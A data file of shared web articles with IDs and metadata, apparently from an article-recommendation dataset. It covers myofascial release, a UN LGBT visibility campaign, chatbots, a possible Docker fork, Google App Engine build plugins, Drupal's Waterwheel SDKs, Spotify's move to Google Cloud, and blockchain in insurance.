1472489539,CONTENT SHARED,-435798809553722526,-6611967527589759673,-8504679005310148105,,,,HTML,https://moovemente.com.br/2016/08/28/liberacao-miofascial-o-que-e-e-como-fazer/,LIBERAÇÃO MIOFASCIAL - O QUE É E COMO FAZER,"Liberação miofascial é uma técnica que se baseia na aplicação de pressão em pontos específicos do corpo com o objetivo de permitir uma mobilidade maior entre a fáscia e o músculo. O termo ""myo"" significa ""musculo"", já a fáscia é uma membrana de tecido conjuntivo muito resistente que envolve os músculos e que serve para evitar o atrito entre eles e coordenar os movimentos, pois favorece a transmissão de energia. Vários fatores, como as próprias atividades cotidianas e esportivas podem fazer com que essa fáscia muscular fique mais rígida, dando a sensação de que o corpo está retraído, encurtado e com amplitude de movimento limitada. Essa retração pode gerar dor e alterações posturais, podendo levar a lesões, que podem ser locais ou em outro segmento corporal. Isso porque as fáscias revestem todo o nosso corpo formando um sistema fechado, de forma que as restrições em um ponto podem comprometer todo o sistema. A liberação miofascial é uma técnica amplamente utilizada por fisioterapeutas para tratar uma variedade de problemas de tecidos moles. Seu objetivo é diminuir a restrição de movimentos, além de melhorar a circulação sanguínea local e diminuir as áreas de tensão. Ela pode ser feita de diversas formas e com os mais variados materiais (rolos de EVA, rolos massageadores de mão, bolinha de tênis), a própria massagem é uma forma de liberação. A técnica pode ser feita antes ou depois das atividades físicas e não existe um tempo determinado para realiza-la. O tempo é determinando pela própria pessoa, vai se percebendo que a musculatura vai ficando mais ""solta"". É natural sentir algum desconforto, principalmente no início, já que estamos aplicando pressão em pontos de tensão, que são muito dolorosos. Preparamos um vídeo explicando um pouco mais sobre a liberação miofascial e ensinando como realiza-la em algumas regiões do corpo sozinho. Luana Carvalho / Luciana Signorini / Mayara Figueiredo",pt
1472499986,CONTENT SHARED,2103268612948910635,1908339160857512799,-8312304323942241499,,,,HTML,http://revistamarieclaire.globo.com/Noticias/noticia/2016/08/nao-ao-preconceito-onu-celebra-dia-da-visibilidade-de-mulheres-lesbicas-e-bissexuais.html,Não ao preconceito! ONU celebra Dia da Visibilidade de Mulheres Lésbicas e Bissexuais,"ONU celebra o Dia da Visibilidade de Mulheres Lésbicas e Bissexuais (Foto: Reprodução / Faceboook / Carolina Rosseti) Com o propósito de dar visbilidade às contribuições de lésbicas e bissexuais para a sociedade, a ONU lança nesta segunda-feira (29) a campanha ""Livres & Iguais"". A data foi escolhida por ser o Dia da Visibilidade de Mulheres Lésbicas e Bissexuais. As Nações Unidas veicularão, nas redes sociais, três vídeos de conscientização e ilustrações da designer Carolina Rosseti com histórias de algumas de mulheres. A morte de Luana Barbosa dos Reis em abril deste ano vítima de espancamentos por oficiais da Polícia Militar foi um caso destacado pelo organismo internacional. Ela era negra, lésbica e moradora da periferia de Ribeirão Preto, em São Paulo. A campanha ressalta também a importância do apoio familiar. ""Quando os direitos LGBTI são afetados, todos nós somos afetados"", afirmou o coordenador residente do Sistema ONU no Brasil, Niky Fabiancic. Segundo ele, a luta por uma sociedade mais justa para gays, lésbicas, bissexuais, pessoas trans e intersex é um compromisso da ONU. Jaime Nadal, representante nacional do Fundo de População das Nações Unidas (UNFPA), lembrou que, em outubro do ano passado, a ONU expressou preocupação com a tramitação do Estatuto da Família (PL 6583/2013) no Congresso. O organismo internacional fez uma pelo para que o governo reconhecesse todos os arranjos familiares existentes no Brasil, não apenas aqueles formados por casais heterossexuais. ""É muito importante que uma nova legislação garanta os direitos dos casais LGBT que a jurisprudência hoje já permite"", reiterou Nadal.",pt
1472548457,CONTENT SHARED,-3395906801262755897,881856221521045800,4969629512708895699,,,,HTML,http://www.businessinsider.com/chatbots-explained-why-businesses-should-be-paying-attention-to-the-chatbot-revolution-2016-7,CHATBOTS EXPLAINED: Why businesses should be paying attention to the chatbot revolution,"BI Intelligence Advancements in artificial intelligence, coupled with the proliferation of messaging apps, are fueling the development of chatbots - software programs that use messaging as the interface through which to carry out any number of tasks, from scheduling a meeting, to reporting weather, to helping users buy a pair of shoes. Foreseeing immense potential, businesses are starting to invest heavily in the burgeoning bot economy. A number of brands and publishers have already deployed bots on messaging and collaboration channels, including HP, 1-800-Flowers, and CNN. While the bot revolution is still in the early phase, many believe 2016 will be the year these conversational interactions take off. In a new report from BI Intelligence, we explore the growing and disruptive bot landscape by investigating what bots are, how businesses are leveraging them, and where they will have the biggest impact. We outline the burgeoning bot ecosystem by segment, look at companies that offer bot-enabling technology, distribution channels, and some of the key third-party bots already on offer. The report also forecasts the potential annual savings that businesses could realize if chatbots replace some of their customer service and sales reps. Finally, we compare the potential of chatbot monetization on a platform like Facebook Messenger against the iOS App Store and Google Play store. Here are some of the key takeaways: BI Intelligence AI has reached a stage in which chatbots can have increasingly engaging and human conversations, allowing businesses to leverage the inexpensive and wide-reaching technology to engage with more consumers. Chatbots are particularly well suited for mobile - perhaps more so than apps. Messaging is at the heart of the mobile experience, as the rapid adoption of chat apps demonstrates. The chatbot ecosystem is already robust, encompassing many different third-party chat bots, native bots, distribution channels, and enabling technology companies. Chatbots could be lucrative for messaging apps and the developers who build bots for these platforms, similar to how app stores have developed into moneymaking ecosystems. In full, the report: Breaks down the pros and cons of chatbots. Explains the different ways businesses can access, utilize, and distribute content via chatbots. Forecasts the potential impact chatbots could have for businesses. Looks at the potential barriers that could limit the growth, adoption, and use of chatbots. And much more. Interested in getting the full report? Here are several ways to access it: Subscribe to an All-Access pass to BI Intelligence and gain immediate access to this report and over 100 other expertly researched reports. As an added bonus, you'll also gain access to all future reports and daily newsletters to ensure you stay ahead of the curve and benefit personally and professionally. >> Learn More Now Access the Ultimate Digital Media Reports Bundle and save 92% today . You will gain immediate access to the Chatbots Explainer and 45 other in-depth research reports covering the most important topics impacting the digital media space. >> Bundle & Save Now Access the Ultimate Mobile, Apps & Platforms Reports Bundle and save 95% today . You will gain immediate access to the Chatbots Explainer and 75 other comprehensive research reports covering the most important topics impacting the mobile. >> Bundle & Save Now Purchase & download the full report from our research store. >> Purchase & Download Now What is the Internet of Things? Definition, Industries and Companies IoT Ecosystem - Forecasts and Business Opportunities IoT Market Size, Share & Growth Forecasts",en
1472555519,CONTENT SHARED,-8704908797766843570,-8020832670974472349,-6585837857118481557,,,,HTML,http://thenewstack.io/docker-fork-talk-split-now-table/,A Docker Fork: Talk of a Split Is Now on the Table - The New Stack,"Discussions about a split from Docker are now underway among several Docker ecosystem vendors and end users. Expressing frustration of Docker's management of Docker Engine, the technologists with the companies are exploring ways to address various issues around supporting enterprise Docker deployments. Several options are under consideration, including the possibility of forking the open source Docker engine altogether. According to a number of sources close to recent discussions, representatives are involved from companies such Red Hat, Google, CoreOS, Huawei and two large end-user customers. Spokespeople from Red Hat and CoreOS denied any knowledge of Docker-related talks. Docker declined to publicly offer a comment. Google and Huawei have not replied to requests for a comment. It's a seminal moment for the container ecosystem. None of the technologists with these companies want to fork but they have also voiced concern over the Docker codebase's lack of stability, which can be problematic when building out additional services and supporting customers relying on Docker in production. Then again, many of the companies participating in the talks are also using containers for building out large-scale distributed systems, and could see Docker's recently-launched built-in orchestration capabilities as a threat to their own orchestration products, nearly all of them based on Google's Kubernetes. ""What's happening right now, if we are not careful, will fragment the container ecosystem, and it make it impossible for single containers to target multiple runtimes,"" one observer on Hacker News pointed out . An Enterprise Issue? A worry we've heard repeated from the Docker ecosystem is how Docker's aggressive release schedule puts third-party system providers at odds with their own customer base. ""Docker consistently breaks backend compatibility,"" said Rob Hirschfeld - CEO of RackN , Kubernetes community leader (and occasional TNS contributor ) - who was not involved in the talks. RackN's application lifecycle management platform both uses and provisions Docker components, so changes to the backend have business impacts for supporting customers. Docker uses its Docker Engine as a product, not as a component that the community uses to build out its own services, Hirschfeld charged. This product-based approach means that the operator is forced to fix backend compatibility that breaks when Docker introduces new innovations or merges components like Swarm into the Docker Engine. ""While we use those features, the changes lead to problems with stability, versioning, migrations and backend compatibility,"" Hirschfeld said. Until last week, the conversations about dissatisfaction with Docker have largely been private. But now the talk is moving into public forums as exemplified by these tweets from Google's point person for evangelizing Kubernetes, Craig McLuckie : . @docker must be allowed to innovate and profit (they have legitimately done amazing work!), but we need boring core infrastructure today - Craig McLuckie (@cmcluck) August 26, 2016 It really is time for a container runtime and format standard to emerge beyond the (current) scope of OCI. - Craig McLuckie (@cmcluck) August 26, 2016 The long-simmering frustration has culminated with Docker, Inc's recent inclusion of Docker Swarm in Docker 1.12. With Swarm, Docker Engine allows users to manage complex containerized applications without additional software, using the same command line structure and syntax that developers are familiar with using the Docker containers. The Docker orchestration capabilities are opt-in; they must be activated by the user. Though not opting in may lead to backward compatibility issues down the road. Previously, these orchestration capabilities , as they are known, have only been offered through third-party tools such as Kubernetes, the orchestration platform open sourced by Google. Although Google does not directly sell enterprises container orchestration software, its open source orchestrator does provide an easy on-ramp to Google Cloud Platform services for containers. Other companies, such as CoreOS and Apprenda , do offer commercially supported versions of Kubernetes. Huawei is also launching a Kubernetes-based container engine . So, not surprisingly, all of these parties are eager to move the conversation from containers to container orchestration instead. Bob Wise , the Samsung cloud engineer who leads that company's Kubernetes involvement, has also called for Docker to slow its roll on container innovation. Samsung is in the process of acquiring Joyent, which offers cloud-based container support services. ""If your team is working deeply in Kubernetes, Mesos, or Cloud Foundry, you need a stable, simple, boring container implementation with minimal essential characteristics, and community agreement around image creation, naming, and publishing,"" Wise wrote in a blog post last week . ""You need to use the same simple, boring container implementation that everybody else is using. As a community, we need to slow the pace of change of the fundamental building blocks. Stability will allow the systems built on top to thrive."" Likewise, Apcera technical product manager Phillip Tribble expressed in a personal blog post - in the most diplomatically way possible - for Docker not to trumpet newly launched features as finished enterprise-ready products. ""It is not wise to explode the Internet and conventions with marketing material about exciting new features that do not work as presented,"" Tribble wrote. Apcera's business model is based in part on its support of Docker containers . Tribble's post inspired others to express their own experiences about Docker on Hacker News, including a few bemoaning bugs around new releases. One reader talked about spinning up 70,000 to 90,000 containers a day, and having trouble with about 9 percent of them due to ""diverse Docker bugs."" That number had been lowered to 4 percent after the latest update. But others are praising the software's stability. ""We've been using Docker in production for about 3 years now, and have not had any big issues,"" another reader commented. ""It's a neat wrapper over some cool Linux kernel features."" In fact, Docker does have a large following of supporters who are of the opinion that Docker's software is stable. Docker engineers are also quick to boast of the company's solid foundation. In any case, Docker seems to have no intentions of stifling its own innovation for the sake of its potential competitors, as shown through a recent Twitter dispute between Google Kubernetes evangelist Kelsey Hightower and Docker Chief Technology Officer Solomon Hykes over the role that the Open Container Initiative 's (OCI) image and runtime standards should play in the standardization of the Docker-based container stack. OCI was formed in order to provide exactly what folks like Wise are calling for: boring standardized container tech. Yet Hykes cast doubt on the extent of OCI's usefulness for third-party providers. Hykes noted that those providers who claim to offer full support of Docker containers without the Docker Daemon (presumably through runC runtime engine) are actually only offering ""pseudo-support"" of about 90 percent of Docker's features. ""All I know is Docker moves fast, and as a result products claiming 'Docker Support' are lying,"" Hykes wrote. In another Tweet, Hykes went as far as to dismiss the OCI image format as a ""fake standard."" The problem is further exacerbated by Docker, Inc.'s hold on the Docker trademark. The trademark means that companies may face liability if they use patches, code or packages not approved by the Docker community. In that case, a company may be unable to support its own customers due to patches not getting approval from Docker or upstreamed into the project. The result: third-party vendors are forced to live by any decision Docker decides to make about the open source project and wait for Docker's patches whenever something breaks. The best outcome would be some agreement with Docker to guarantee stable releases. One's feature is another's bloatware > container run time fork (of Docker!) brewing as ecosystem wants stable & small building block. - Rob Hirschfeld (@zehicle) August 27, 2016 Also at issue is which features should be implemented by Docker and which should be handled either by the underlying OS or another component in the stack. Another company relying on Docker, but also competing against Docker, is Red Hat. In a number of conferences this year, including LinuxCon North America 2016 , Red Hat engineer Dan Walsh describes Red Hat as being stuck between its customers' increasing use of the systemd to initialize Linux systems, and Docker's seeming reluctance to work with systemd, instead relying on its own Docker Daemon to provide features around initialization, service activation, security and logging for containers. ""For the last three years, we have been trying to get good integration between the systemd and Docker, and what I have found is that two leaders of the two efforts are very strongly opinionated,"" Walsh said, referring to Hykes and systemd creator - and current Red Hat employee - Lennart Poettering . ""So, when I bring up the machine, who brings up system services, systemd or Docker?"" Walsh asked. A badly implemented system can have systemd and Docker Daemon fighting one another. For its customers, Red Hat maintains its own forked version of Docker, which include patches that Docker may one day incorporate, or may never choose to include. Options on the Table Time will tell if these informal talks lead to a more coordinated effort. There are options that may suit all parties. For example, there may be a stable version of the Docker image format and runtime that is managed through the OCI. This would allow ecosystem partners to have stable components and allow Docker to continue with its own Docker Engine. In this scenario, the OCI runtime would be a fork of Docker. But if the ecosystem companies want a complete break from Docker then that would mean a complete fork with a different name and need for a new group to manage it all. CoreOS, for instance, offers an alternative ""daemonless"" container technology , called rkt, though it has not seen significant market traction as of yet, at least not to the level of Docker's success. This is new ground, signaling how fast the market is maturing and the stakes at play. Exploring the container ecosystem from a political and economic perspective is important in helping better understand the technical direction of the community. That's certainly true today in face of the deep divides between Docker and the container ecosystem and the active discussions taking place about forking Docker or, if nothing else, creating a stable alternative that would allow for a standard core that could be built upon and assure stability for end users. Apcera , CoreOS , Docker , Joyent , and Red Hat are sponsors of The New Stack. Feature image via Pixabay.",en
1472560943,CONTENT SHARED,-1483274517395674620,3891637997717104548,-7194697704865980890,,,,HTML,https://cloudplatform.googleblog.com/2016/08/test-and-deploy-to-Google-App-Engine-with-the-new-Maven-and-Gradle-plugins.html,Test and deploy to Google App Engine with the new Maven and Gradle plugins,"Here at Google, we strive to make it easy for developers to use Google Cloud Platform (GCP). Today, we're excited to announce the beta release of two new build tool plugins for Java developers: one for Apache Maven , and another for Gradle . Together, these plugins allow developers to test applications locally and then deploy them to cloud from the Command Line Interface (CLI), or through integration with an Integrated Development Environment (IDE) such as Eclipse and IntelliJ (check out our new native plugin for IntelliJ as well). Developed in open-source, the plugins are available for both standard and flexible Google App Engine environments and are based on the Google Cloud SDK . The new Maven plugin for GAE standard is offered as an alternative to an existing plugin for App Engine standard . This allows users to choose the existing plugin if they wish to use tooling based on the App Engine Java SDK , or the new plugin if they wish to use tooling based on Google Cloud SDK (all other plugins are fully based on Google Cloud SDK). After installing the Google Cloud SDK , you can install the plugins using the pom.xml or build.gradle file: build.gradle And then, to deploy an application: Once the application is deployed, you'll see its URL in the output of the shell. For enterprise users who wish to take their compiled artifacts such as JARs and WARs through a separate release process, both plugins provide a staging command that copies the final compiled artifacts to a target directory without deploying them to the cloud. Those artifacts can then be passed to a Continuous Delivery/Continuous Integration (CI/CD) pipeline (see here for some of CI/CD offerings for GCP). You can check the status of your deployed applications in the Google Cloud Platform Console . Head to the Google App Engine tab and click on Instances to see your application's underlying infrastructure in action. For additional information on the new plugins, please see the documentation for App Engine Standard ( Maven , Gradle ) and App Engine Flexible ( Maven , Gradle ). If you have specific feature requests, please submit them at GitHub, for Maven and Gradle . You can learn more about using Java on GCP at the Java developer portal , where you'll find all the information you need to get up and running. And be on the lookout for additional plugins for Google Cloud Platform services in the coming months! Happy Coding!",en
1472562626,CONTENT SHARED,4674667995387386186,3891637997717104548,-7194697704865980890,,,,HTML,https://dev.acquia.com/blog/the-waterwheel-ecosystem/waterwheel-the-drupal-sdk-ecosystem/29/08/2016/16701,"Waterwheel, the Drupal SDK Ecosystem","As Drupal is increasingly widely used as a back end for application ecosystems, developers of wildly diverse backgrounds are now retrieving and manipulating data from Drupal in unprecedented ways. With Drupal 8 and core REST support articulating an API-first vision for the decoupled future, Drupal is eminently well-prepared to back a bevy of applications with divergent approaches. There's just one problem: non-Drupal developers don't know Drupal. That's where Waterwheel comes in. Waterwheel is an emerging ecosystem of software development kits (SDKs) built by the Drupal community which ease and accelerate development of applications in other technologies. If you will momentarily forgive the flawed metaphor, Waterwheel helps non-PHP and non-Drupal developers ""speak"" Drupal. This blog post summarizes the motivations behind SDKs for Drupal-backed applications and how the Waterwheel team has worked to map out a trajectory for Drupal to be utilized not only by PHP and Drupal developers but also by developers of diverse backgrounds who might otherwise have never discovered or considered it. The API-first CMS API-first architectures have become increasingly commonplace as the concept of a content management system (CMS) continues to evolve. In the Drupal community, the Web Services and Context Core Initiative (WSCCI) confronted this trend early by providing the means for Drupal 8 sites to expose data for the benefit of other sites. Today, one Drupal back end is capable of powering a wide range of applications, whether ancillary single-page or native applications or other back-end applications. In the last several years, the widening prevalence of application ecosystems has been greeted by the advent of the API-first or headless CMS (also referred to as decoupled CMS or ""content as a service""). These are content management systems which lack front ends - as a rule - because their sole purpose is to export content for retrieval and manipulation by other applications. Examples include services such as Built.io, CloudCMS, Contentful, and Prismic, which all offer paid subscriptions to build and consume an API in the cloud. These platforms all have one thing in common: Like Drupal, they are platforms that back application ecosystems. But this is only one half of the picture. SDKs for building applications The concept of a software development kit (SDK) is not new in web development, and neither is the idea of connecting an SDK to web services in order to power and supply a decoupled application. Headless CMS platforms like those mentioned above share another common characteristic: the maintenance and release of SDKs that accelerate application development. These SDKs are predominantly free and open-source, despite their dependency on a paid subscription to a headless CMS platform. With Waterwheel, Drupal challenges these headless CMS services by not only offering a robust series of SDKs to assist application developers but also serving as the best free and open-source API-first CMS on the market. To make Drupal's web services first-class out of the box , the API-first initiative has been driving progress on both core and contributed modules to improve the developer experience of reading and writing Drupal data. Though SDKs are not intrinsically tied to Drupal core development itself, they serve as an integral piece of Drupal-backed application ecosystems. Currently, consuming Drupal data requires at least a basic understanding of Drupal's REST API. As such, the shared mission of Waterwheel.js (formerly known as Hydrant) and Waterwheel.swift (formerly known as the Drupal iOS SDK) is to help developers building Drupal-backed applications in JavaScript and Swift query and manipulate Drupal data without having to learn about nuances such as the differences between core REST's authentication mechanisms or its approach to serializing Drupal data, such as how fields of varied cardinality are exposed as JSON. Waterwheel.js: Drupal for JavaScript developers Over the last several months, a small team of developers within OCTO and contributors from the Drupal community have been collaborating on the initial minor versions of Waterwheel.js (formerly known as Hydrant), a helper SDK that aids JavaScript developers who need to query and manipulate Drupal data. Development is being led by Matt Grill , Ted Bowman , and Preston So , and the library is available as a project on NPM . Because Waterwheel.js contains an HTTP client well-suited for Drupal, it can be employed on the server side to make API calls within Node.js during server-side execution of a JavaScript framework. It can also be used on the client side to make asynchronous API calls after the browser loads the bundled library. In this way, Waterwheel.js can be leveraged universally - the code to provision data can be shared across client and server. You can incorporate Waterwheel.js on your existing Drupal sites to provide AJAX-like interactions, or you can use it in a manner similar to common HTTP clients in the JavaScript community such as superagent or axios . Moreover, Waterwheel.js is well-positioned for progressively and fully decoupled Drupal sites (fully decoupled usage on a separate domain relies on CORS support available in Drupal 8.2 or adding CORS headers in .htaccess), as it is intended to provide a strong foundation which JavaScript frameworks can build on. The Waterwheel module is required by Waterwheel.js if you wish to implement resource discovery in your application. Resource discovery allows developers desiring client-side validation against server-side entities and their fields to prepopulate an object containing metadata about what entities and fields are available for retrieval and manipulation. Formerly, Waterwheel.js also supported the Entity Query API module and its query operations (e.g. ranges, sorts, and conditions), but this will be superseded in the next minor version by full integration with the emerging JSON API module , where Entity Query API development has migrated. In sum, Waterwheel.js is uniquely versatile in that it can be used on both server (Node.js) and client (in the browser) and in progressively decoupled or fully decoupled settings. We're excited to broaden the feature set currently available in Waterwheel.js, especially for a 1.0.0 release in time for DrupalCon Dublin (see our BoF about Waterwheel). Waterwheel.swift: Drupal for Swift developers We are also welcoming the Waterwheel.swift SDK, formerly known as the Drupal iOS SDK and the work of Kyle Browning , into the ecosystem as part of a growing suite of SDKs for Drupal-backed applications. Waterwheel.swift provides full support for consuming Drupal 8's core REST API as well as session management and authentication capabilities for the benefit of Swift applications. Waterwheel.swift supports iOS, macOS, tvOS, and watchOS out of the box with plug-and-play functionality for each of these platforms. Because it leverages Swift, Waterwheel.swift benefits from massive performance gains over the Drupal iOS SDK's foregoing Objective-C implementation and takes advantage of Swift's closures, which means anyone who writes Swift will feel very comfortable using it. For iOS, for instance, it provides a login button which can be placed in any desired location (or subclassed) and will handle showing a custom LoginViewController. To accelerate development even further, Waterwheel.swift also has a waterwheelLoginViewController that provides username and password fields, thus allowing you to incorporate Drupal login and logout functionality into your Swift application with minimal development time. In an upcoming update, Waterwheel.swift will add full caching of all requests and objects pulled from Drupal. It will be configurable down to the request or globally, but a default for all requests will be included. A demo application of these features is also included in the GitHub repository. All in all, Waterwheel.swift makes complex communication with Drupal effortless for Apple-driven applications. Because it is built with Swift, you can take advantage of next-generation coding from Apple at your fingertips, and, like Waterwheel.js, you can use it to communicate with Drupal directly without having to understand Drupal's REST API. Conclusion While headless CMS platforms such as Built.io and Contentful benefit from open-source components in the form of application SDKs, Waterwheel spotlights Drupal 8 as a capable and effective API-first CMS that is entirely free and open-source, from data storage to API provisioning to application SDKs and everything in between. With the advent of Waterwheel, paying toward an expensive platform subscription is no longer required - in fact, the sky's the limit for your unbridled Drupal-backed application ecosystem. The story of Waterwheel has only just begun. Our ambitious vision is to build upon the successes of Waterwheel.swift's wide range of application components and Waterwheel.js' seamless integration with the Drupal core REST API. The end goal is to furnish an ecosystem of SDKs with two significant advantages: For site builders and editors, you will be able to assemble prefabricated Drupal-backed applications without the aid of a developer. For developers, you will have a robust and battle-tested foundation on which to build application components and accelerate Drupal-backed application development. For instance, after our initial work on Waterwheel.js, our hope is to facilitate the construction of application components in major JavaScript frameworks such as Angular, Ember, or React which can be easily composed to rapidly create a fully decoupled Drupal-backed single-page application. To learn more and to discuss the eventual vision of the Waterwheel ecosystem as a whole, please join us at DrupalCon Dublin ! In upcoming blog posts in this Waterwheel series, we will explore specifics of each of the available SDKs: some of the features available in Waterwheel.swift and how to build a simple Drupal-backed JavaScript application using Waterwheel.js. We'd like to hear from you too, whether you're a Waterwheel user, an application developer, or a welcome contributor, as we continue paving the way forward for API-first Drupal. Special thanks to Kyle Browning for contributions to this blog post. Thanks also to Matt Grill and Ted Bowman for feedback during its writing.",en
1472564125,CONTENT REMOVED,-729129249377835720,3734911646343191965,-4074109168227169139,,,,HTML,https://news.spotify.com/us/2016/02/23/announcing-spotify-infrastructures-googley-future/,The Spotify Blog,"Editor's Note: This blog post was written by Nicholas Harteau/VP, Engineering & Infrastructure --- As a company most often associated with amazing music recommendations and awesome parties ( not to mention life-changing employee benefits ), it's rare that we get to talk about the exciting world of technical infrastructure - the real power behind the music - but today is special. Today we are announcing that we're working with the Google Cloud Platform team to provide platform infrastructure for Spotify, everywhere. This is a big deal. At Spotify we are obsessed with providing a streaming experience that feels as though you have all the music in the world on your phone. Historically, we've taken a traditional approach to doing this: buying or leasing data-center space, server hardware and networking gear as close to our customers as possible. This approach has allowed us to give you music instantly, wherever you are in the world. But in a business growing quickly in users, markets and features, keeping pace with scaling demands requires ever increasing amounts of focus and effort. Like good, lazy engineers, we occasionally asked ourselves: do we really need to do all this stuff? For a long time the answer was ""yes."" Operating our own data-centers may be a pain, but the core cloud services were not at a level of quality, performance and cost that would make cloud a significantly better option for Spotify in the long run. As they say: better the devil you know... Recently that balance has shifted. The storage, compute and network services available from cloud providers are as high quality, high performance and low cost as what the traditional approach provides. This makes the move to the cloud a no-brainer for us. Google, in our experience, has an edge here, but it's a competitive space and we expect the big players to be battling it out for the foreseeable future. What really tipped the scales towards Google for us, however, has been our experience with Google's data platform and tools. Good infrastructure isn't just about keeping things up and running, it's about making all of our teams more efficient and more effective, and Google's data stack does that for us in spades. Google has long been a thought-leader in this space, and this shows in the sophistication and quality of its data offerings . From traditional batch processing with Dataproc, to rock-solid event delivery with Pub/Sub to the nearly magical abilities of BigQuery, building on Google's data infrastructure provides us with a significant advantage where it matters the most. We have a large and complex backend, so this is a large and complex project that will take us some time to complete. We're looking forward to sharing our experiences with you as we go, so watch our engineering blog for more information on what we learn, build and break along the way. We're pretty excited about our Googley future and hope you'll find it interesting too.",en
1472564362,CONTENT SHARED,-1870456025059842373,-6067316262393890508,-602034902371635149,,,,HTML,http://seekingalpha.com/article/4002843-blockchain-huge-potential-insurance-industry,Blockchain Huge Potential For The Insurance Industry,"The total worth of Bitcoin today in the blockchain is circa 0.025% of today's $80 trillion global GDP. The reportfrom World Economic Forum and Deloitte, based on surveys with over 800 executives and experts about new technologies and innovations states that: 10% of global gross domestic product will be stored on blockchain technology. But by 2025, 58% according to same research most of these experts and executives believed businesses will hit the tipping point for Bitcoin and blockchain. Source: Blockchain insurance - Blockchain Consensus Protocols, by Melanie Swans New research from Long Finance, sponsored by PwC and conducted by Z/Yen, shows the wholesale insurance* market is enthusiastic about implementing blockchain solutions**. The report is based on interviews with brokers, insurers, reinsurers, regulators and trade bodies from across the global wholesale insurance market. As well as cost reduction and improved efficiency, blockchain could be a transformative technology changing the way the industry operates, enabling revenue growth in the sector as higher-quality service leads to new business. The potential for blockchain to deliver substantial value to financial services is enormous. For example, recent estimates*** have found that in banking, consistent use of blockchain in KYC/AML checks alone could save $2.5bn of the estimated $10bn global processing costs in the sector. Z/Yen and PwC note that relationships with customers, regulators and business partners should improve as blockchain reduces errors and improves accuracy. PwC's Belfast-based Blockchain technology team worked with Z/Yen in undertaking the global industry survey, which was the first global initiative intended to determine how Blockchain technology could revolutionize and transform the world's insurance industry. The report outlines three areas where blockchain technology could have the greatest impact on wholesale insurance: Placement process Facilitating the placement and management of the insurance contract including all relevant documentation, starting with the clients' insurance application, broker placing the risk, insurers accepting risk, then managing all changes and transactions throughout the life of the contract. Using a blockchain to store and share documents between brokers, underwriters, the insured and reinsurers would reduce errors, processing time and cost by removing duplicate entry of data and reconciliation, ensure consistency and provide instant access to accurate information. As part of this research PwC built a proof of concept blockchain to demonstrate how this might work. Claims management A blockchain incorporating all documents created in a claims process would enable all parties involved to instantly access information, monitor and review the process. This will allow the client, brokers and insurers to handle the claim far more quickly, provide additional information as needed and make faster decisions to enable much faster resolution of the claims. Benefits include reduced delay and cost, greater legal certainty and improved customer service. Click to enlarge Source: Blockchain Insurance hedgethink.com Compliance tasks Reducing the burden on customers and businesses around proof of identify 'know-your-customer', anti-money laundering and sanctions processes. A blockchain recording customers' proof of identify documents and evidence of validation would offer a single point of checking and would cut down the time currently spent on multiple checks for a single transaction. Currently all brokers and insurers involved in an insurance contract have to independently run all of these checks thus creating significant duplication and delay in the placement process which impacts the client. Removal of this duplication will reduce the processing cost and speed up the placement of the insurance contract which will provide a better and more convenient process for customers. There would also be less risk of error and the negative reputational impacts of this. The possibility of insuring time-critical transactions is introduced. The report suggests that collaboration, trial and experimentation will be key for wholesale insurers looking to successfully implement blockchain technology. Firms working together to implement blockchain technology will accrue the benefits as their interactions become more efficient. Jonathan Howe, UK insurance leader at PwC, commented: Wholesale insurers have recognised the benefits of blockchain technology and have identified where they'd like to see solutions implemented. The challenge now is to build on this solid beginning. It will be a case of trial and error. Firms need to be realistic - any proposed changes have to be viewed in the context of how they will impact the market as a whole - the industry is data heavy and the actions of brokers, insurers and reinsurers are all interlinked. We must remember that blockchain will not be the best solution for all insurance processes - we must look past the hype. The key is identifying where it will provide value. For some processes it will be game changing. Blockchain has huge promise to be a force for good - it is an enabler for the wholesale insurance sector to continue its role in underpinning the global economy. Professor Michael Mainelli, Executive Chairman of Z/Yen Group, commented: Mutual distributed ledger (aka blockchain) technology is ideal for supporting multi-party business processes. The insurance community is highly cooperative, with more to gain from greater cooperation. We believe that insurers are likely to build some of the largest blockchain applications outside of the payments sector. The study includes a technical Proof of Concept developed by PwC to illustrate how blockchain technology can be applied to solve business problems in wholesale insurance. Steve Webb, financial services blockchain leader at PwC, commented on the technical Proof of Concept developed by PwC: With a new technology that is attracting as much attention as blockchain it is important to be able to demonstrate to people how the technology works. The Proof of Concept we have built picks up on many of the themes in the report. We are able to demonstrate a functioning policy placement demonstration illustrating how data can be distributed between multiple different participants, how the transaction history creates certainty of what offers are made and accepted and how resilience is enhanced as there is no single point of failure. About the Report PwC sponsored Z/Yen to conduct a small Long Finance research project into the potential of Mutual Distributed Ledger Technology (MDLT) in wholesale insurance. The study is a collaborative exercise working with the Long Finance community. A joint team from PwC and Z/Yen brought together a range of wholesale brokers, insurers and reinsurers to create a common view of the potential benefits that MDLT could bring. PwC in Northern Ireland is the global center for PwC specialists who exploit and commercialize Blockchain. Blockchain technology, consists of ""blocks"" of data in a digital ledger, is highly resistant to malicious tampering, thus offering significant security advantages to governments, banks and the financial services sector. About Long Finance The Long Finance Initiative was established in 2007 by Z/Yen Group in conjunction with Gresham College to improve society's understanding and use of finance over the long-term. Long Finance seeks to address the underlying question ""when would we know our financial system is working?"" through community building and a wide-ranging research agenda. Substantial research has been conducted on mutual distributed ledgers (aka blockchain technology), covering topics from system design to commercial applications. www.longfinance.net About Z/Yen Group Z/Yen is the City of London's leading commercial think-do tank promoting societal advance through better finance and technology. Z/Yen helps organizations make better decisions about enhancing reward, controlling risk and increasing certainty. Z/Yen's clients are in many sectors, most often where technology and finance try to achieve a social purpose. Z/Yen works with clients to discover, solve, and act on opportunities by managing programs and projects, building systems, and creating collaborative communities. Z/Yen implemented its first mutual distributed ledgers (aka blockchains) in 1995. www.zyen.com About PwC PwC is a network of firms in 157 countries with more than 208,000 people who are committed to delivering quality in assurance, advisory and tax services. PwC refers to the PwC network and/or one or more of its member firms, each of which is a separate legal entity. www.pwc.com/structure Footnotes: *Wholesale insurance is predominantly purchased by organizations from commercial insurers via retail and wholesale brokers who act as the intermediaries between the client and insurer. Wholesale insurance is an important sector in the global economy as it transfers risk from organizations to insurers and therefore underpins large-scale business and trade globally. **A mutual distributed ledger - more simply referred to as a blockchain - is a computer data structure with the following capabilities: Mutual - blockchains are shared across organizations, owned equally by all and dominated by no one; Distributed - blockchains are inherently multi-locational data structures and any user can keep his or her own copy, thus providing resilience and robustness; Ledger - blockchains are immutable, once a transaction is written it cannot be erased and, along with multiple copies, this means that the ledger's integrity can be easily proven. Another way to think of blockchains is as permanent timestamping engines for computer records. Timestamps can be used to prove that data elements were entered at or before a certain time and have been altered. ***Goldman Sachs Investment Research report",en
